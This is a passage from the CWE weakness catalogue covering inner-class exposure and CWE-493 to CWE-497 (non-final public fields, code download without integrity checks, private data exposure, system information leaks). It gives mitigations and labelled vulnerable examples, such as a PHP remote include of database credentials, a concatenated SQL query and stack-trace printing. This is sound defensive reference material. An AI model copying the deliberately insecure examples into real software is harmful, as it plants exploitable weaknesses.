    private String accountOwnerSSN;
```

```
  private int accountNumber;
  private double balance;
  // constructor for BankAccount class
  public BankAccount(String accountOwnerName, String accountOwnerSSN,
  int accountNumber, double initialBalance, int initialRate)
  {
    this.accountOwnerName = accountOwnerName;
    this.accountOwnerSSN = accountOwnerSSN;
    this.accountNumber = accountNumber;
    this.balance = initialBalance;
    this.start(initialRate);
  }
  // start method will add interest to balance every 30 days
  // creates timer object and interest adding action listener object
  public void start(final double rate)
  {
    // anonymous inner class that implements the ActionListener interface
    ActionListener adder = new ActionListener()
    {
      public void actionPerformed(ActionEvent event)
      {
        double interest = BankAccount.this.balance * rate / 100;
        BankAccount.this.balance += interest;
      }
    };
    Timer t = new Timer(1000 * 3600 * 24 * 30, adder);
    t.start();
  }
}
```

Example 4:

In the following Java example a simple applet provides the capability for a user to input a URL into a text field and have the URL opened in a new browser window. The applet contains an inner class that is an action listener for the submit button, when the user clicks the submit button the inner class action listener's actionPerformed method will open the URL entered into the text field in a new browser window. As with the previous examples using inner classes in this manner creates a security risk by exposing private variables and methods. Inner classes create an additional security risk with applets as applets are executed on a remote machine through a web browser within the same JVM and therefore may run side-by-side with other potentially malicious code.

Example Language: *(Bad)*

```
public class UrlToolApplet extends Applet {
  // private member variables for applet components
  private Label enterUrlLabel;
  private TextField enterUrlTextField;
  private Button submitButton;
  // init method that adds components to applet
  // and creates button listener object
  public void init() {
    setLayout(new FlowLayout());
    enterUrlLabel = new Label("Enter URL: ");
    enterUrlTextField = new TextField("", 20);
    submitButton = new Button("Submit");
    add(enterUrlLabel);
    add(enterUrlTextField);
    add(submitButton);
    ActionListener submitButtonListener = new SubmitButtonListener();
    submitButton.addActionListener(submitButtonListener);
  }
  // button listener inner class for UrlToolApplet class
  private class SubmitButtonListener implements ActionListener {
    public void actionPerformed(ActionEvent evt) {
      if (evt.getSource() == submitButton) {
        String urlString = enterUrlTextField.getText();
        URL url = null;
```

```
                try {
                    url = new URL(urlString);
                } catch (MalformedURLException e) {
                    System.err.println("Malformed URL: " + urlString);
                }
                if (url != null) {
                    getAppletContext().showDocument(url);
                }
            }
        }
    }
}
```

As with the previous examples a solution to this problem would be to use a static inner class, a local inner class or an anonymous inner class. An alternative solution would be to have the applet implement the action listener rather than using it as an inner class as shown in the following example.

Example Language: Java *(Good)*

```
public class UrlToolApplet extends Applet implements ActionListener {
    // private member variables for applet components
    private Label enterUrlLabel;
    private TextField enterUrlTextField;
    private Button submitButton;
    // init method that adds components to applet
    public void init() {
        setLayout(new FlowLayout());
        enterUrlLabel = new Label("Enter URL: ");
        enterUrlTextField = new TextField("", 20);
        submitButton = new Button("Submit");
        add(enterUrlLabel);
        add(enterUrlTextField);
        add(submitButton);
        submitButton.addActionListener(this);
    }
    // implementation of actionPerformed method of ActionListener interface
    public void actionPerformed(ActionEvent evt) {
        if (evt.getSource() == submitButton) {
            String urlString = enterUrlTextField.getText();
            URL url = null;
            try {
                url = new URL(urlString);
            } catch (MalformedURLException e) {
                System.err.println("Malformed URL: " + urlString);
            }
            if (url != null) {
                getAppletContext().showDocument(url);
            }
        }
    }
}
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	485	7PK - Encapsulation	700	2328
MemberOf	C	849	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 6 - Object Orientation (OBJ)	844	2364
MemberOf	C	966	SFP Secondary Cluster: Other Exposures	888	2403

Nature	Type	ID	Name	V	Page
MemberOf	C	1139	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 05. Object Orientation (OBJ)	1133	2446
MemberOf	C	1403	Comprehensive Categorization: Exposed Resource	1400	2528

Notes

Other

Mobile code, in this case a Java Applet, is code that is transmitted across a network and executed on a remote machine. Because mobile code developers have little if any control of the environment in which their code will execute, special security concerns become relevant. One of the biggest environmental threats results from the risk that the mobile code will run side-by-side with other, potentially malicious, mobile code. Because all of the popular web browsers execute code from multiple sources together in the same JVM, many of the security guidelines for mobile code are focused on preventing manipulation of your objects' state and behavior by adversaries who have access to the same virtual machine where your program is running.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Mobile Code: Use of Inner Class
CLASP			Publicizing of private data when using inner classes
The CERT Oracle Secure Coding Standard for Java (2011)	OBJ08-J		Do not expose private members of an outer class from within a nested class

References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf >.

CWE-493: Critical Public Variable Without Final Modifier

Weakness ID : 493
Structure : Simple
Abstraction : Variant

Description

The product has a critical public variable that is not final, which allows the variable to be modified to contain unexpected values.

Extended Description

If a field is non-final and public, it can be changed once the value is set by any function that has access to the class which contains the field. This could lead to a vulnerability if other parts of the program make assumptions about the contents of that field.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	668	Exposure of Resource to Wrong Sphere	1469
ParentOf	V	500	Public Static Field Not Marked Final	1200

Applicable Platforms

Language : Java *(Prevalence = Undetermined)*

Language : C++ *(Prevalence = Undetermined)*

Background Details

Mobile code, such as a Java Applet, is code that is transmitted across a network and executed on a remote machine. Because mobile code developers have little if any control of the environment in which their code will execute, special security concerns become relevant. One of the biggest environmental threats results from the risk that the mobile code will run side-by-side with other, potentially malicious, mobile code. Because all of the popular web browsers execute code from multiple sources together in the same JVM, many of the security guidelines for mobile code are focused on preventing manipulation of your objects' state and behavior by adversaries who have access to the same virtual machine where your program is running.

Final provides security by only allowing non-mutable objects to be changed after being set. However, only objects which are not extended can be made final.

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data *The object could potentially be tampered with.*	
Confidentiality	Read Application Data *The object could potentially allow the object to be read.*	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Implementation

Declare all public fields as final when possible, especially if it is used to maintain internal state of an Applet or of classes used by an Applet. If a field must be public, then perform all appropriate sanity checks before accessing the field from your code.

Demonstrative Examples

Example 1:

Suppose this WidgetData class is used for an e-commerce web site. The programmer attempts to prevent price-tampering attacks by setting the price of the widget using the constructor.

Example Language: Java *(Bad)*

```
public final class WidgetData extends Applet {
  public float price;
  ...
  public WidgetData(...) {
    this.price = LookupPrice("MyWidgetType");
  }
}
```

The price field is not final. Even though the value is set by the constructor, it could be modified by anybody that has access to an instance of WidgetData.

Example 2:

Assume the following code is intended to provide the location of a configuration file that controls execution of the application.

Example Language: C++ *(Bad)*

```
public string configPath = "/etc/application/config.dat";
```

Example Language: Java *(Bad)*

```
public String configPath = new String("/etc/application/config.dat");
```

While this field is readable from any function, and thus might allow an information leak of a pathname, a more serious problem is that it can be changed by any function.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	485	7PK - Encapsulation	700	2328
MemberOf	C	849	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 6 - Object Orientation (OBJ)	844	2364
MemberOf	C	1002	SFP Secondary Cluster: Unexpected Entry Points	888	2421
MemberOf	C	1403	Comprehensive Categorization: Exposed Resource	1400	2528

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Mobile Code: Non-Final Public Field
CLASP			Failure to provide confidentiality for stored data
The CERT Oracle Secure Coding Standard for Java (2011)	OBJ10-J		Do not use public static nonfinal variables
Software Fault Patterns	SFP28		Unexpected access points

References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf >.

CWE-494: Download of Code Without Integrity Check

Weakness ID : 494
Structure : Simple
Abstraction : Base

Description

The product downloads source code or an executable from a remote location and executes the code without sufficiently verifying the origin and integrity of the code.

Extended Description

An attacker can execute malicious code by compromising the host server, performing DNS spoofing, or modifying the code in transit.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	Ⓒ	669	Incorrect Resource Transfer Between Spheres	1471
ChildOf	Ⓒ	345	Insufficient Verification of Data Authenticity	851
CanFollow	Ⓑ	79	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	163

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ChildOf	Ⓒ	669	Incorrect Resource Transfer Between Spheres	1471

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	🅲	1020	Verify Message Integrity	2434

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	🅲	1214	Data Integrity Issues	2477

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Integrity Availability Confidentiality Other	Execute Unauthorized Code or Commands Alter Execution Logic Other *Executing untrusted code could compromise the control flow of the program. The untrusted code could execute attacker-controlled commands, read or modify sensitive resources, or prevent the software from functioning correctly for legitimate users.*	

Detection Methods

Manual Analysis

This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. Specifically, manual static analysis is typically required to find the behavior that triggers the download of code, and to determine whether integrity-checking methods are in use.

Black Box

Use monitoring tools that examine the software's process as it interacts with the operating system and the network. This technique is useful in cases when source code is unavailable, if the software was not developed by you, or if you want to verify that the build phase did not introduce any new weaknesses. Examples include debuggers that directly attach to the running process; system-call tracing utilities such as truss (Solaris) and strace (Linux); system activity monitors such as FileMon, RegMon, Process Monitor, and other Sysinternals utilities (Windows); and sniffers and protocol analyzers that monitor network traffic. Attach the monitor to the process and also sniff the network connection. Trigger features related to product updates or plugin installation, which is likely to force a code download. Monitor when files are downloaded and separately executed, or if they are otherwise read back into the process. Look for evidence of cryptographic library calls that use integrity checking.

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Implementation

Perform proper forward and reverse DNS lookups to detect DNS spoofing.

Phase: Architecture and Design

Phase: Operation

Encrypt the code with a reliable encryption scheme before transmitting. This will only be a partial solution, since it will not detect DNS spoofing and it will not prevent your code from being modified on the hosting site.

Phase: Architecture and Design

Strategy = Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. Speficially, it may be helpful to use tools or frameworks to perform integrity checking on the transmitted code. When providing the code that is to be downloaded, such as for automatic updates of the software, then use cryptographic signatures for the code and modify the download clients to verify the signatures. Ensure that the implementation does not contain CWE-295, CWE-320, CWE-347, and related weaknesses. Use code signing technologies such as Authenticode. See references [REF-454] [REF-455] [REF-456].

Phase: Architecture and Design

Phase: Operation

Strategy = Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Phase: Architecture and Design

Phase: Operation

Strategy = Sandbox or Jail

Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.

Effectiveness = Limited

The effectiveness of this mitigation depends on the prevention capabilities of the specific sandbox or jail being used and might only help to reduce the scope of an attack, such as restricting the attacker to certain system calls or limiting the portion of the file system that can be accessed.

Demonstrative Examples

Example 1:

This example loads an external class from a local subdirectory.

Example Language: Java *(Bad)*

```
URL[] classURLs= new URL[]{
  new URL("file:subdir/")
};
URLClassLoader loader = new URLClassLoader(classURLs);
Class loadedClass = Class.forName("loadMe", true, loader);
```

This code does not ensure that the class loaded is the intended one, for example by verifying the class's checksum. An attacker may be able to modify the class file to execute malicious code.

Example 2:

This code includes an external script to get database credentials, then authenticates a user against the database, allowing access to the application.

Example Language: PHP *(Bad)*

```
//assume the password is already encrypted, avoiding CWE-312
function authenticate($username,$password){
  include("http://external.example.com/dbInfo.php");
  //dbInfo.php makes $dbhost, $dbuser, $dbpass, $dbname available
  mysql_connect($dbhost, $dbuser, $dbpass) or die ('Error connecting to mysql');
  mysql_select_db($dbname);
  $query = 'Select * from users where username='.$username.' And password='.$password;
  $result = mysql_query($query);
  if(mysql_numrows($result) == 1){
    mysql_close();
    return true;
  }
  else{
      mysql_close();
      return false;
   }
}
```

This code does not verify that the external domain accessed is the intended one. An attacker may somehow cause the external domain name to resolve to an attack server, which would provide the information for a false database. The attacker may then steal the usernames and encrypted passwords from real user login attempts, or simply allow themself to access the application without a real user account.

This example is also vulnerable to an Adversary-in-the-Middle AITM (CWE-300) attack.

Observed Examples

Reference	Description
CVE-2019-9534	Satellite phone does not validate its firmware image. *https://www.cve.org/CVERecord?id=CVE-2019-9534*
CVE-2021-22909	Chain: router's firmware update procedure uses curl with "-k" (insecure) option that disables certificate validation (CWE-295), allowing adversary-in-the-middle (AITM) compromise with a malicious firmware image (CWE-494). *https://www.cve.org/CVERecord?id=CVE-2021-22909*
CVE-2008-3438	OS does not verify authenticity of its own updates. *https://www.cve.org/CVERecord?id=CVE-2008-3438*
CVE-2008-3324	online poker client does not verify authenticity of its own updates. *https://www.cve.org/CVERecord?id=CVE-2008-3324*
CVE-2001-1125	anti-virus product does not verify automatic updates for itself. *https://www.cve.org/CVERecord?id=CVE-2001-1125*
CVE-2002-0671	VOIP phone downloads applications from web sites without verifying integrity. *https://www.cve.org/CVERecord?id=CVE-2002-0671*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	752	2009 Top 25 - Risky Resource Management	750	2353
MemberOf	C	802	2010 Top 25 - Risky Resource Management	800	2354
MemberOf	C	859	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 16 - Platform Security (SEC)	844	2369
MemberOf	C	865	2011 Top 25 - Risky Resource Management	900	2371
MemberOf	V	884	CWE Cross-section	884	2567
MemberOf	C	991	SFP Secondary Cluster: Tainted Input to Environment	888	2416
MemberOf	C	1354	OWASP Top Ten 2021 Category A08:2021 - Software and Data Integrity Failures	1344	2495
MemberOf	C	1364	ICS Communications: Zone Boundary Failures	1358	2501
MemberOf	C	1411	Comprehensive Categorization: Insufficient Verification of Data Authenticity	1400	2538

Notes

Research Gap

This is critical for mobile code, but it is likely to become more and more common as developers continue to adopt automated, network-based product distributions and upgrades. Software-as-a-Service (SaaS) might introduce additional subtleties. Common exploitation scenarios may include ad server compromises and bad upgrades.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Invoking untrusted mobile code
The CERT Oracle Secure Coding Standard for Java (2011)	SEC06-J		Do not rely on the default automatic signature verification provided by URLClassLoader and java.util.jar
Software Fault Patterns	SFP27		Tainted input to environment

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
184	Software Integrity Attack
185	Malicious Software Download
186	Malicious Software Update
187	Malicious Automated Software Update via Redirection
533	Malicious Manual Software Update
538	Open-Source Library Manipulation
657	Malicious Automated Software Update via Spoofing
662	Adversary in the Browser (AiTB)
691	Spoof Open-Source Software Metadata
692	Spoof Version Control System Commit Metadata
693	StarJacking
695	Repo Jacking

References

[REF-454]Microsoft. "Introduction to Code Signing". < http://msdn.microsoft.com/en-us/library/ms537361(VS.85).aspx >.

[REF-455]Microsoft. "Authenticode". < http://msdn.microsoft.com/en-us/library/ms537359(v=VS.85).aspx >.

[REF-456]Apple. "Code Signing Guide". Apple Developer Connection. 2008 November 9. < https://web.archive.org/web/20080724215143/http://developer.apple.com/documentation/Security/Conceptual/CodeSigningGuide/Introduction/chapter_1_section_1.html >.2023-04-07.

[REF-457]Anthony Bellissimo, John Burgess and Kevin Fu. "Secure Software Updates: Disappointments and New Challenges". < http://prisms.cs.umass.edu/~kevinfu/papers/secureupdates-hotsec06.pdf >.

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

[REF-459]Johannes Ullrich. "Top 25 Series - Rank 20 - Download of Code Without Integrity Check". 2010 April 5. SANS Software Security Institute. < https://www.sans.org/blog/top-25-series-rank-20-download-of-code-without-integrity-check/ >.2023-04-07.

[REF-76]Sean Barnum and Michael Gegick. "Least Privilege". 2005 September 4. < https://web.archive.org/web/20211209014121/https://www.cisa.gov/uscert/bsi/articles/knowledge/principles/least-privilege >.2023-04-07.

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf >.

CWE-495: Private Data Structure Returned From A Public Method

Weakness ID : 495
Structure : Simple
Abstraction : Variant

Description

The product has a method that is declared public, but returns a reference to a private data structure, which could then be modified in unexpected ways.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	664	Improper Control of a Resource Through its Lifetime	1454

Applicable Platforms

Language : C *(Prevalence = Undetermined)*

Language : C++ *(Prevalence = Undetermined)*

Language : Java *(Prevalence = Undetermined)*

Language : C# *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data *The contents of the data structure can be modified from outside the intended scope.*	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Implementation

Declare the method private.

Phase: Implementation

Clone the member data and keep an unmodified version of the data private to the object.

Phase: Implementation

Use public setter methods that govern how a private member can be modified.

Demonstrative Examples

Example 1:

Here, a public method in a Java class returns a reference to a private array. Given that arrays in Java are mutable, any modifications made to the returned reference would be reflected in the original private array.

Example Language: Java *(Bad)*

```
private String[] colors;
public String[] getColors() {
  return colors;
}
```

Example 2:

In this example, the Color class defines functions that return non-const references to private members (an array type and an integer type), which are then arbitrarily altered from outside the control of the class.

Example Language: C++ *(Bad)*

```
class Color
{
  private:
    int[2] colorArray;
    int colorValue;
  public:
    Color () : colorArray { 1, 2 }, colorValue (3) { };
    int[2] & fa () { return colorArray; } // return reference to private array
    int & fv () { return colorValue; } // return reference to private integer
};
int main ()
{
  Color c;
  c.fa () [1] = 42; // modifies private array element
  c.fv () = 42; // modifies private int
  return 0;
}
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	485	7PK - Encapsulation	700	2328
MemberOf	V	884	CWE Cross-section	884	2567
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	2400
MemberOf	C	1416	Comprehensive Categorization: Resource Lifecycle Management	1400	2545

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Private Array-Typed Field Returned From A Public Method
Software Fault Patterns	SFP23		Exposed Data

References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf >.

CWE-496: Public Data Assigned to Private Array-Typed Field

Weakness ID : 496
Structure : Simple
Abstraction : Variant

Description

Assigning public data to a private array is equivalent to giving public access to the array.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	664	Improper Control of a Resource Through its Lifetime	1454

Applicable Platforms

Language : C *(Prevalence = Undetermined)*

Language : C++ *(Prevalence = Undetermined)*

Language : Java *(Prevalence = Undetermined)*

Language : C# *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data *The contents of the array can be modified from outside the intended scope.*	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Implementation

Do not allow objects to modify private members of a class.

Demonstrative Examples

Example 1:

In the example below, the setRoles() method assigns a publically-controllable array to a private field, thus allowing the caller to modify the private array directly by virtue of the fact that arrays in Java are mutable.

Example Language: Java *(Bad)*

```
private String[] userRoles;
public void setUserRoles(String[] userRoles) {
    this.userRoles = userRoles;
}
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	485	7PK - Encapsulation	700	2328
MemberOf	V	884	CWE Cross-section	884	2567
MemberOf	C	994	SFP Secondary Cluster: Tainted Input to Variable	888	2417
MemberOf	C	1416	Comprehensive Categorization: Resource Lifecycle Management	1400	2545

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Public Data Assigned to Private Array-Typed Field
Software Fault Patterns	SFP25		Tainted input to variable

References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf >.

CWE-497: Exposure of Sensitive System Information to an Unauthorized Control Sphere

Weakness ID : 497
Structure : Simple
Abstraction : Base

Description

The product does not properly prevent sensitive system-level information from being accessed by unauthorized actors who do not have the same level of access to the underlying system as the product does.

Extended Description

Network-based products, such as web applications, often run on top of an operating system or similar environment. When the product communicates with outside parties, details about the underlying system are expected to remain hidden, such as path names for data files, other OS users, installed packages, the application environment, etc. This system information may be provided by the product itself, or buried within diagnostic or debugging messages. Debugging information helps an adversary learn about the system and form an attack plan.

An information exposure occurs when system data or debugging information leaves the program through an output stream or logging function that makes it accessible to unauthorized parties. Using other weaknesses, an attacker could cause errors to occur; the response to these errors can reveal detailed system information, along with other impacts. An attacker can use messages that reveal technologies, operating systems, and product versions to tune the attack against known vulnerabilities in these technologies. A product may use diagnostic methods that provide significant implementation details such as stack traces as part of its error handling mechanism.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	Ⓒ	200	Exposure of Sensitive Information to an Unauthorized Actor	504
ParentOf	Ⓑ	214	Invocation of Process Using Visible Sensitive Information	549
ParentOf	Ⓥ	548	Exposure of Information Through Directory Listing	1261

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	199	Information Management Errors	2312

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Architecture and Design

Phase: Implementation

Production applications should never use methods that generate internal details such as stack traces and error messages unless that information is directly committed to a log that is not viewable by the end user. All error message text should be HTML entity encoded before being written to the log file to protect against potential cross-site scripting attacks against the viewer of the logs

Demonstrative Examples

Example 1:

The following code prints the path environment variable to the standard error stream:

Example Language: C *(Bad)*

```
char* path = getenv("PATH");
...
sprintf(stderr, "cannot find exe on path %s\n", path);
```

Example 2:

This code prints all of the running processes belonging to the current user.

Example Language: PHP *(Bad)*

```
//assume getCurrentUser() returns a username that is guaranteed to be alphanumeric (avoiding CWE-78)
$userName = getCurrentUser();
$command = 'ps aux | grep ' . $userName;
system($command);
```

If invoked by an unauthorized web user, it is providing a web page of potentially sensitive information on the underlying system, such as command-line arguments (CWE-497). This program is also potentially vulnerable to a PATH based attack (CWE-426), as an attacker may be able to create malicious versions of the ps or grep commands. While the program does not explicitly raise privileges to run the system commands, the PHP interpreter may by default be running with higher privileges than users.

Example 3:

The following code prints an exception to the standard error stream:

Example Language: Java *(Bad)*

```
try {
   ...
} catch (Exception e) {
   e.printStackTrace();
}
```

Example Language: *(Bad)*

```
try {
   ...
} catch (Exception e) {
   Console.Writeline(e);
}
```

Depending upon the system configuration, this information can be dumped to a console, written to a log file, or exposed to a remote user. In some cases the error message tells the attacker precisely what sort of an attack the system will be vulnerable to. For example, a database error message can reveal that the application is vulnerable to a SQL injection attack. Other error messages can reveal more oblique clues about the system. In the example above, the search path could imply information about the type of operating system, the applications installed on the system, and the amount of care that the administrators have put into configuring the program.

Example 4:

The following code constructs a database connection string, uses it to create a new connection to the database, and prints it to the console.

Example Language: C# *(Bad)*

```
string cs="database=northwind; server=mySQLServer...";
SqlConnection conn=new SqlConnection(cs);
...
Console.Writeline(cs);
```

Depending on the system configuration, this information can be dumped to a console, written to a log file, or exposed to a remote user. In some cases the error message tells the attacker precisely what sort of an attack the system is vulnerable to. For example, a database error message can reveal that the application is vulnerable to a SQL injection attack. Other error messages can reveal more oblique clues about the system. In the example above, the search path could imply information about the type of operating system, the applications installed on the system, and the amount of care that the administrators have put into configuring the program.

Observed Examples

Reference	Description
CVE-2021-32638	Code analysis product passes access tokens as a command-line parameter or through an environment variable, making them visible to other processes via the ps command. *https://www.cve.org/CVERecord?id=CVE-2021-32638*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	485	7PK - Encapsulation	700	2328
MemberOf	C	851	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 8 - Exceptional Behavior (ERR)	844	2365
MemberOf	C	880	CERT C++ Secure Coding Section 12 - Exceptions and Error Handling (ERR)	868	2379
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	2400
MemberOf	C	1345	OWASP Top Ten 2021 Category A01:2021 - Broken Access Control	1344	2487
MemberOf	C	1417	Comprehensive Categorization: Sensitive Information Exposure	1400	2548

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			System Information Leak
The CERT Oracle Secure Coding Standard for Java (2011)	ERR01-J		Do not allow exceptions to expose sensitive information
